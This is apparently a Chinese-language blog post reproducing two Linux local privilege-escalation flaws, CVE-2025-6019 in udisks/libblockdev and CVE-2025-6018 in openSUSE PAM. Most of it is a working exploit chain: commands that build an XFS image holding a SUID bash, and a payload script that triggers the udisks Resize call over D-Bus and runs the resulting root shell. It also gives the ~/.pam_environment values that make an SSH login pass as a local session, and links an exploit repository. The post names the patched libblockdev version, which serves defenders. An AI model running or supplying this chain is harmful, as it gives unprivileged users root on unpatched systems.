CVE-2025-6018: 在 *SUSE 15 的 PAM 中从无特权用户到 allow_active 的本地权限提升 CVE-2025-6019: 从 allow_active 到 root 的本地权限提升,通过 udisks 利用 libblockdev

先来看6019的问题,根据Qualys安全公告不难知道问题出现在xfs文件系统临时挂载的操作上,没有正确使用nosuid,从而导致的问题出现

本地复现 CVE-2025-6019

先构建一个xfs的镜像,在其中放入bash

dd if=/dev/zero of=xfs.image bs=1M count=300

# XFS
mkfs.xfs -f xfs.image

sudo mkdir -p /mnt/malicious_image

sudo mount -t xfs xfs.image /mnt/malicious_image

# SUID Shell
sudo cp /bin/bash /mnt/malicious_image/root-shell
sudo chmod 4755 /mnt/malicious_image/root-shell

sudo umount /mnt/malicious_image
sudo rmdir /mnt/malicious_image

echo "ok"

payload


echo "当前用户: $(whoami)"
id

# yes
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot

killall -KILL gvfs-udisks2-volume-monitor &>/dev/null

# loop 设备
udisksctl loop-setup --file ~/xfs.image

# 启动后台进程
while true; do /tmp/blockdev*/root-shell -c 'sleep 5' && break; done &>/dev/null &

# UDisks2 触发漏洞
gdbus call --system --dest org.freedesktop.UDisks2 \
    --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' &>/dev/null

# 等待
sleep 2

# 查找并执行 SUID Shell
ROOT_SHELL_PATH=$(find /tmp -name "root-shell" -perm -4000 2>/dev/null | head -n 1)
if [ -n "$ROOT_SHELL_PATH" ]; then
    echo "成功找到 Root Shell: $ROOT_SHELL_PATH"
    echo "正在提权..."
    ${ROOT_SHELL_PATH} -p
else
    echo "错误: 未找到 SUID Shell,提权失败。"
fi

理想情况下会获得如下效果

修复需要将libblockdev更新到3.3.1以上

https://github.com/neko205-mx/CVE-2025-6019_Exploit

组合攻击 CVE-2025-6018 CVE-2025-6019

CVE-2025-6018需要openSUSE的环境,我手上没有相关环境,遂只尝试说明问题

在ssh远程的情况下,这个漏洞无法直接使用,原因是Polkit的权限管理

以reboot策略为例

<action id="org.freedesktop.login1.reboot">
                <description gettext-domain="systemd">Reboot the system</description>
                <message gettext-domain="systemd">Authentication is required to reboot the system.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.login1.set-wall-message</annotate>
</action>

其中<allow_active>yes</allow_active>控制本地,假设请求来自一个本地的活跃会话则允许操作<allow_any>auth_admin_keep</allow_any>控制其他会话,若请求来自除了本地的活跃会话外的其他会话则需要admin授权

假设我们在ssh会话中尝试 会触发Polkit会话控制

(ssh)neko@aosc-neko205 [ tmp ] $ bash 22.sh 
当前用户: neko
uid=1000(neko) gid=1001(neko)=1001(neko),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1002(gamemode)
('challenge',)
==== AUTHENTICATING FOR org.freedesktop.udisks2.loop-setup ====
设定回环设备需要身份验证
Authenticating as: neko
Password: 

而opensuse的问题也就出在这里,根据Qualys安全公告说明假设构造一个~/.pam_environment 其中内容为XDG_SEAT=seat0 XDG_VTNR=1 则无管理员权限的攻击者可以通过ssh登入,伪装为本地用户,即Polkit语境下的allow_active权限,从而进行CVE-2025-6019的利用完成提权

cdn2.qualys.com

https://github.com/storaged-project/libblockdev/releases/tag/3.3.1

polkit - Arch Linux 中文维基